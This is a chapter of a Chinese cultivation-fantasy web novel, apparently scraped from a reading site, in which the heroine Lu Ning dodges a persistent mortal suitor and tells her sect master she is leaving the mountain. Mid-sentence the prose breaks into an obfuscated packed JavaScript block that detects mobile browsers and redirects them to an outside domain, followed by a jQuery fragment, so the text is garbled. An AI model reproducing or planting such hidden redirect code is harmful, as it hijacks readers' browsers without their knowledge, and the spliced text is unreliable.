1. 下山

作品:《合欢宗的事,能叫渣吗?

    晨曦破晓,远近天色渐明,迷蒙山雾未散,偶听几声鸟鸣,清脆婉转。散落在山间的屋舍,或见人影活动,或闭紧门户,仍在睡梦中。


    但于葱郁山林掩映间,却见一名女子款款而行,妃色纱裙拂过翠叶,略沾染山间水汽,动作之间,素手拂过枝叶,便将晶莹露珠尽收入所捧天青瓷瓶之中,不多时,待晨雾尽散、白日跃升时,瓷瓶已满。


    扣紧瓶口后,路凝心满意足抱着几枝折下的桃花沿石阶而下。


    合欢宗所居群芳山绵延近千里,因地形特殊,灵气浓厚,滋润群山四季浓绿,百花千红不论时节盛开不败,便是真真群芳共和。


    而于山隐之中,更有奇花异草无数,其中特有几类,便是药王谷也难寻。


    路凝步履轻盈,几转之后便回到自己的居所丹室。丹室竹篱环绕,并无假山堆叠,院中只一株重瓣海棠,花色靡丽,绯红花瓣顺风而舞。


    路凝踏入内室,搁好天青瓶,往返几次便将药草搬出室外,摊开晾晒。忙完一通,刚直起身抬袖擦擦额上细汗,便听身后有人呼唤。


    “陆师姐!陆师姐!”


    她回头望去,便见小道上一个青衣女子提裙奔来,瞧见她回身,还抬手挥舞,玉臂染晴光,白的晃眼。


    不过几息,女子到了跟前,路凝早取了茶水,先塞进她手里,道:“先喝口水。”


    姜良书仰头灌下,因喝的略急,几滴茶水从唇角溢出,顺着如凝脂一般的肌肤而下,滑过纤颈,隐入青纱领中。


    路凝心下叹息,自己这群合欢宗的师妹师弟们,个个模样俏丽,便是看了数年,也实在难以习惯,时不时便要被美色闪了眼睛。


    待姜良书喝光了,路凝又从她手里接过茶杯,省的又被她随手撇到地上去。


    “师姐!你先出去避避风头!那个什么赵公子又要上山来找你了!”


    “赵文瑄?”


    “对对!就是那个赵文瑄!”姜良书点头道:“就是他,他又来了!”


    闻及此,路凝扶额叹息,也不管姜良书了,只回屋拿了新折的桃花,匆匆道:“你帮我看着这些药,我先去师尊那里一趟。”


    姜良书点头道:“好。”


    却又提醒道:“他已经过了山门了,你仔细别撞上!”


    路凝恨恨道:“守山门的那堆小子!净等着看我热闹,等我收拾他们!”


    说罢,步履匆匆而去。


    一路上遇见不少年轻男女,个个花容月貌,或向她打招呼,或嬉笑一片,正在玩闹。路过一座亭子,正有几个美人斜倚栏杆,看她步履匆匆,便高声调笑道:“大师姐!又要进山住啊!”


    “陆宁姐姐!你跑什么呀,人家赵小公子一片真心岂能辜负呀。”


    说了几句,又捂嘴吃吃笑道:“若嫌他长得不美,宁姐姐,你喂他吃几粒美容丹不就好了……”


    这些话,路凝一概不理,只管闷头走路,眼见她要走远了,一个红衫美人才慌张叫道:“师姐,饶我几丸聚灵丹!灵石改日给你!”


    一只药瓶破空飞入庭中,红衫女接了,正要道谢,可此时已经不见路凝身影。


    ……


    路凝行走山间,即便山路崎岖,但于她毫不影响。


    行走之间,心下却在思索该如何应对赵文瑄。


    身在合欢宗,欠下几笔风流债不是什么新鲜事,但偏难就难在那赵文瑄是个不过弱冠之年的男子,亦非修士。


    而路凝今生虽同为二九年华,但她前生又拢共活了二十余载,虽不长,但若是修士之间,也就不用过分讲究年龄。而赵文瑄是个凡人,一来无法与之双修,二来他寿数不过百年,她又如何能与其纠缠,误人前程。


    若是能直截了当拒绝也就罢了,偏赵文瑄是个钻牛角尖儿的,合欢宗又与赵家联系甚密,一来二往成了一团乱麻,谁也理不清楚。


    思及此,路凝已至竹庐外,不免长叹一声,便听一道声音懒懒传来,恍若仙音,如清泉石上,又如松风逾深谷:“我的好徒儿,又有谁惹你烦恼了?”


    路凝推门而入,抱怨道:“师尊明明知道。”


    竹庐外间青竹环绕,似乎是个质朴清雅之所,但内里却是玉石砌地、珊瑚饰墙,纱影摇曳间香气馥郁,怎么看也与质朴毫不沾边。


    “那赵文瑄一到山门,师尊不就知道了吗,现在却还要来取笑我。”


    路凝随手取了只绘彩嵌璎珞宝瓶,刚将桃枝放入,便横伸过一只骨肉匀称、修长白皙的手,轻托着她的下巴抬起,只闻耳边慢声道:“瞧瞧,美人颦眉,真叫人心疼啊。”


    路凝在心里大翻了一个白眼,面上却不显,只挣开那只手,兀自开了窗,缚起纱帘。


    清风拂入,吹散了过于浓郁的香气,路凝此时也终于放松一些,远眺窗外重峦叠翠,道:“我想立刻便动身下山,一来游历一番,二来顺带去合芳斋一趟。”


    说着便又叹了口气。


    要不是合芳斋,哪里来这桩难事。


    路凝想到自己堂堂一个合欢宗真传弟子,如今躲个毛头小子竟躲的如此狼狈,可真令人头痛。


    一回头,却见身后人仍立在原地,略偏着头,浓发遮面,叫路凝看不清他的表情,不免出声唤道:“师尊?”


    赫连笙听见呼唤,骤然回神,一双丹凤眼重新染上笑意,道:“去多久?”


    赫连笙是合欢宗宗主,是如今修真界数一数二的人物,尚未及百岁,却已经是化神期修士,在前任宗主隐归时继任合欢宗。


    此等天赋,若非亲眼所见,实是令人难以置信。便是路凝上辈子自诩是药王谷百年难得一见的天才,可她身死之时也尚未成功突破至元婴境界。


    不过若她也能活个百岁,倒说不定还可以比上一比……


    “快则数月。”


    “快?”赫连笙歪头,咂摸一番,却笑道:“你从前却是赶你下山也不愿意的。”


    路凝解释道:“从前是从前,可这几年师尊您也知道,徒儿修为凝滞不前,下山游历一番或许会有助益。”


    更何况,路凝隐在心里未说的自然是另一番考量。


    她身死后重新投胎,今生成个不知道被扔在慈恩堂的孤儿,熬过起初几年口不能言的时期,又在人间摸爬滚打几年,待八岁才得逢机缘拜入合欢宗。


    重入修真界,她才知道原来距她身死已经过去数十年,修真界早已更新迭代一番。


    虽是旧貌换新颜,但其中几个风头无两的“新颜”也是她从前的熟人。也不论人家还记不记得她,她却不能不谨慎——从她自己的观察来看,她今生容貌与前世少说有五分相似,万一真有个认出了她的,那可实在是太麻烦了。


    路凝从来都是个怕麻烦的人,诸如她的名字,或是巧合,或是缘分,前世路凝,今生陆宁,两名同音。不改,一是听习惯了,改了麻烦,二是“陆宁”这名


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626867|172409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    字是慈恩堂照顾她的老人所起,老人无儿无女,只希望有个人能继承她的姓氏,所以打那个慈恩堂出去的孩子都姓陆。老人去世的早,养育之恩路凝没来得及回报,现在留着个名字也算纪念。


    况且,世间万万人,叫路凝的不止她一个,单同名同姓的怕是能站满群芳山,没什么好怕的。


    而如今又是十年倏忽已过,从前的旧人们也大多都身居高位,到了推各自的徒弟们出来争锋的时候,她撞见熟人被认出来的风险大大降低。


    况且,就算真有还记得她的,也不会将一个千娇百媚的合欢宗女修同前世那个形容枯槁的丹修联系在一起。


    这时候她再出门玩玩,也就不怕了。


    这样想着,路凝便道:“徒儿想了想,徒儿的性子确实有些太孤僻了,是该改改,况且师尊不也叫徒儿多出去走走吗?”


    赫连笙一愣,笑道:“都是快五年前说你的话了,怎么还记着。”


    两人说着话,便坐到妆镜前,路凝捡起檀木梳,梳理起赫连笙倾泻而下的满头青丝。


    指间皆是冰凉如绸缎般的触感,惹得她忍不住捡了一缕缠在腕上玩起来,随口道:“师尊说的话,徒儿句句都谨记在心。”


    却听赫连笙轻哼一声,好似玉石相击,敲在路凝耳边,震的胸口一阵轻颤。


    她望入镜中,便见一双摄人凤眸紧盯着她,略带怒意,似乎不满她的回答,羊脂玉一般的肌肤晕出薄红,散出朦胧玉辉,艳鬼一般。


    可美人嗔怒,向来只会更添几分好颜色,路凝心脏不免跳乱一拍。


    赫连笙能名满修真界,当然也离不开他这幅好容颜。


    路凝心知他生气了,哄道:“徒儿会尽早归来的。”


    她看着镜中人走了神。


    只可惜她修为实在太低,要不然眼前这人不就是双修的上上之选。


    不免叹口气,心想罢了罢了,走一步算一步。


    赫连笙开口道:“既然要出门,将我的丹心带上。”


    丹心是赫连笙的佩剑。


    路凝却拒绝了,道:“我有缚情便足矣。”


    “况且我身上还有宗门的合欢印,师尊不必忧心。”


    合欢宗弟子,凡入门的身上俱有一合欢印,危难之时可抵挡一击。


    而路凝身为合欢宗真传弟子,身上的合欢印是赫连笙亲手种下的,力量便更强,除非遇上化神强者,旁人是断不能伤她性命的。


    赫连笙只嘱咐道:“带好聆风。”


    路凝拍拍腰间坠着的宝珠道:“师尊放心,一直带着呢。”


    告别赫连笙,路凝沿着小路疾行,心急如焚。


    但偏怕什么来什么,便在她扫开面前繁茂枝叶,看清面前情形时,人便即刻僵住。


    面前小径上,正站着个青衣缓带的男子,年轻端正,面色红润,正微微喘气,用一方雪帕擦拭着额上的汗。


    而他身后正站着几个合欢宗弟子,挤在小道上,还在催促:“赵公子,你再不快些,师姐可就走了!”


    赵文瑄抹了一把汗,点头道:“走、走……”


    路凝咬牙,一群好小子!


    可就在路凝悄悄收回脚,准备悄无声息摸走时,便见领头的那个弟子正好瞥见树丛里露出的一截妃色裙摆,当即大叫道:“师姐!”


    霎时间,一堆人齐刷刷望过来。


    路凝当机立断。


    跑!